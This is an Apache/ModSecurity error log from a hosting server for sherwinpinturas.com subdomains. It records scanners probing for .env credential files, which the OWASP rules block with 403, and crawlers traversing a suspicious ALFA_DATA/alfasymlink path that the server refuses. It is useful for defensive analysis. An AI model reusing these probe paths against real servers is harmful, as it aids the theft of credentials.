[Sun Oct 25 21:47:25.663661 2026] [security2:error] [pid 2925278:tid 2925278] [client 93.123.109.230:42570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6xLRaKu-Zjs56a5J4r2QAAAAo"]
[Sun Oct 25 21:47:25.663682 2026] [security2:error] [pid 2938926:tid 2938926] [client 93.123.109.230:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLWDNiM07rt0CLXuSlgAAACE"]
[Sun Oct 25 21:47:25.663836 2026] [security2:error] [pid 2938926:tid 2938926] [client 93.123.109.230:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLWDNiM07rt0CLXuSlgAAACE"]
[Sun Oct 25 21:47:25.664041 2026] [security2:error] [pid 2938926:tid 2938926] [client 93.123.109.230:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6xLWDNiM07rt0CLXuSlgAAACE"]
[Sun Oct 25 21:47:25.665158 2026] [security2:error] [pid 2938877:tid 2938877] [client 93.123.109.230:42560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLcnQI7fvFKswuquABAAAABY"]
[Sun Oct 25 21:47:25.665339 2026] [security2:error] [pid 2938877:tid 2938877] [client 93.123.109.230:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLcnQI7fvFKswuquABAAAABY"]
[Sun Oct 25 21:47:25.665556 2026] [security2:error] [pid 2938877:tid 2938877] [client 93.123.109.230:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at6xLcnQI7fvFKswuquABAAAABY"]
[Sun Oct 25 21:47:25.667576 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYQAAADI"]
[Sun Oct 25 21:47:25.667699 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYQAAADI"]
[Sun Oct 25 21:47:25.667913 2026] [security2:error] [pid 2938951:tid 2938951] [client 93.123.109.230:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6xLd92Xqcd9zT6peEIYQAAADI"]
[Sun Oct 25 21:47:30.162793 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 52.205.141.124:3073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:47:46.312963 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 18.235.158.19:10911] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:47:50.173811 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 52.3.155.146:43420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:47:54.151229 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 34.225.24.180:3072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:02.226981 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 3.212.205.90:2653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:06.191367 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.205.180.155:11677] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:10.167455 2026] [security2:error] [pid 2938904:tid 2938904] [client 54.235.172.96:14948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/node/node0/memory11/node0/cpu1/power/"] [unique_id "at6xWjrbYhOoSbkbrVN5HwAAABs"]
[Sun Oct 25 21:48:10.167514 2026] [security2:error] [pid 2938904:tid 2938904] [client 54.235.172.96:14948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/node/node0/memory11/node0/cpu1/power/"] [unique_id "at6xWjrbYhOoSbkbrVN5HwAAABs"]
[Sun Oct 25 21:48:22.278735 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.196.6.199:11007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:30.195984 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 52.45.15.233:34601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:34.205832 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 50.16.216.166:46700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:48:50.357213 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 3.212.86.97:1925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:06.180154 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 35.153.86.200:38277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:18.405244 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 107.23.62.75:54154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:26.150007 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 18.205.127.11:37968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:30.266622 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 34.227.234.246:38592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:34.209655 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 98.83.178.66:36411] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:38.156911 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 3.220.148.166:50886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:01/subsystem/devices/PNP0303:00/physical_node/driver/uevent
[Sun Oct 25 21:49:54.167090 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 52.71.216.196:58871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:49:58.293506 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 34.202.88.37:49933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:50:02.337686 2026] [core:error] [pid 2938168:tid 2938168] (13)Permission denied: [client 54.225.199.17:62505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/unbind
[Sun Oct 25 21:50:10.161169 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 3.81.253.213:56733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory18/node0/memory22/subsystem/devices/memory11/subsystem/uevent
[Sun Oct 25 21:50:16.574145 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 85.208.96.202:58478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:50:30.158381 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 54.85.7.119:11315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:50:34.159800 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 23.21.250.48:35462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:50:40.294124 2026] [core:error] [pid 2938877:tid 2938877] (13)Permission denied: [client 85.208.96.212:40926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/aliases
[Sun Oct 25 21:50:46.161695 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.167.32.123:13362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:50:54.306173 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 34.192.67.98:44815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:06.167627 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.219.80.71:24908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:10.162890 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 54.197.82.195:20757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:10.287427 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 185.191.171.11:21930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:11.801832 2026] [core:error] [pid 2938930:tid 2938930] (13)Permission denied: [client 85.208.96.206:35528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/trace
[Sun Oct 25 21:51:11.802324 2026] [security2:error] [pid 2938930:tid 2938930] [client 85.208.96.206:35528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/trace"] [unique_id "at6yD_G890ms4v-mqmcZFwAAACU"]
[Sun Oct 25 21:51:11.802359 2026] [security2:error] [pid 2938930:tid 2938930] [client 85.208.96.206:35528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/trace"] [unique_id "at6yD_G890ms4v-mqmcZFwAAACU"]
[Sun Oct 25 21:51:14.197337 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 52.204.71.8:43133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:18.153998 2026] [core:error] [pid 2938952:tid 2938952] (13)Permission denied: [client 54.225.181.161:64386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rom
[Sun Oct 25 21:51:26.148097 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 18.215.112.101:65074] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:34.222212 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 23.21.179.27:54814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:38.268507 2026] [ssl:error] [pid 2930612:tid 2930612] (5)Input/output error: [client 3.213.106.226:35844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:42.434490 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 3.94.199.128:43594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:46.212922 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 34.194.233.48:61250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:51:47.896832 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 85.208.96.201:43342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/ctor
[Sun Oct 25 21:51:54.314069 2026] [core:error] [pid 2938952:tid 2938952] (13)Permission denied: [client 18.214.186.220:10657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/shrink
[Sun Oct 25 21:52:10.226604 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.224.215.150:16640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:52:22.165562 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.92.171.106:26377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:52:23.950330 2026] [security2:error] [pid 2938938:tid 2938938] [client 20.201.77.247:49306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6yVwIuNp5K2_eTlG2KVwAAAC0"]
[Sun Oct 25 21:52:23.950621 2026] [security2:error] [pid 2938938:tid 2938938] [client 20.201.77.247:49306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6yVwIuNp5K2_eTlG2KVwAAAC0"]
[Sun Oct 25 21:52:23.950955 2026] [security2:error] [pid 2938938:tid 2938938] [client 20.201.77.247:49306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6yVwIuNp5K2_eTlG2KVwAAAC0"]
[Sun Oct 25 21:52:38.168324 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 35.172.125.172:23727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:52:46.147166 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 98.83.177.42:1365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:52:50.180463 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 52.2.83.227:50742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:1d/eject
[Sun Oct 25 21:52:54.149873 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.212.205.90:59392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:52:58.110097 2026] [security2:error] [pid 2938168:tid 2938168] [client 185.191.171.9:22978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw28/php56/install.php"] [unique_id "at6yevdm2KTysO4I86nlbwAAAAM"]
[Sun Oct 25 21:52:58.110159 2026] [security2:error] [pid 2938168:tid 2938168] [client 185.191.171.9:22978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw28/php56/install.php"] [unique_id "at6yevdm2KTysO4I86nlbwAAAAM"]
[Sun Oct 25 21:52:58.484781 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.221.222.168:60300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:53:14.167863 2026] [ssl:error] [pid 2938938:tid 2938938] (5)Input/output error: [client 35.174.253.85:24697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:53:22.168440 2026] [core:error] [pid 2938951:tid 2938951] (13)Permission denied: [client 3.221.222.168:8668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rescan
[Sun Oct 25 21:53:30.140142 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 52.207.47.227:26807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:53:34.287944 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 50.16.248.61:37764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:53:42.141879 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 18.209.201.119:20552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:53:46.187253 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 54.83.23.103:26011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/crash_notes_size
[Sun Oct 25 21:54:02.339834 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 52.70.209.13:21600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:54:06.156941 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 3.225.9.97:3946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:54:14.157140 2026] [core:error] [pid 2936926:tid 2936926] (13)Permission denied: [client 34.227.156.153:8717] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:13/eject
[Sun Oct 25 21:54:28.832218 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 185.191.171.11:46202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/slabs
[Sun Oct 25 21:54:30.242684 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 54.156.55.147:59615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:02/physical_node/rescan
[Sun Oct 25 21:54:50.164488 2026] [core:error] [pid 2936926:tid 2936926] (13)Permission denied: [client 54.235.191.179:63001] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/remove
[Sun Oct 25 21:55:02.213621 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 54.147.182.90:61492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:55:10.328654 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 54.156.124.2:49688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:55:21.095956 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 185.191.171.11:38548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/cpu_partial
[Sun Oct 25 21:55:26.149592 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 54.235.125.129:21092] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:55:48.702961 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 185.191.171.19:15094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/shrink
[Sun Oct 25 21:55:54.144561 2026] [core:error] [pid 2938877:tid 2938877] (13)Permission denied: [client 54.152.163.42:26863] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/new_id
[Sun Oct 25 21:56:06.196579 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.212.205.90:24063] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:56:22.325177 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.44.148.203:27486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:56:26.138591 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 54.84.147.79:42201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:56:29.491418 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 185.191.171.3:63976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/objects
[Sun Oct 25 21:56:30.153026 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 184.73.167.217:63659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:56:34.218712 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 98.83.10.183:54463] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/subsystem/uevent
[Sun Oct 25 21:56:42.282880 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 54.162.69.192:7581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:57:10.304089 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 23.22.59.87:26488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:57:22.168740 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 34.234.197.175:29676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:57:34.192163 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 98.84.131.195:20008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:57:50.142336 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 34.231.156.59:36437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:58:02.137135 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 54.83.23.103:57392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:58:14.142576 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 34.227.156.153:63641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/device:0b/subsystem/drivers/tpm_crb/unbind
[Sun Oct 25 21:58:18.147561 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 98.84.60.17:28352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/hpet/uevent
[Sun Oct 25 21:58:26.412452 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 34.226.89.140:24955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:58:26.770186 2026] [authz_core:error] [pid 2938168:tid 2938168] [client 45.198.224.125:52954] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 21:58:30.141851 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 52.73.142.41:36416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:58:34.118693 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 52.54.249.218:62835] AH02013: coalesce failed to read from data bucket
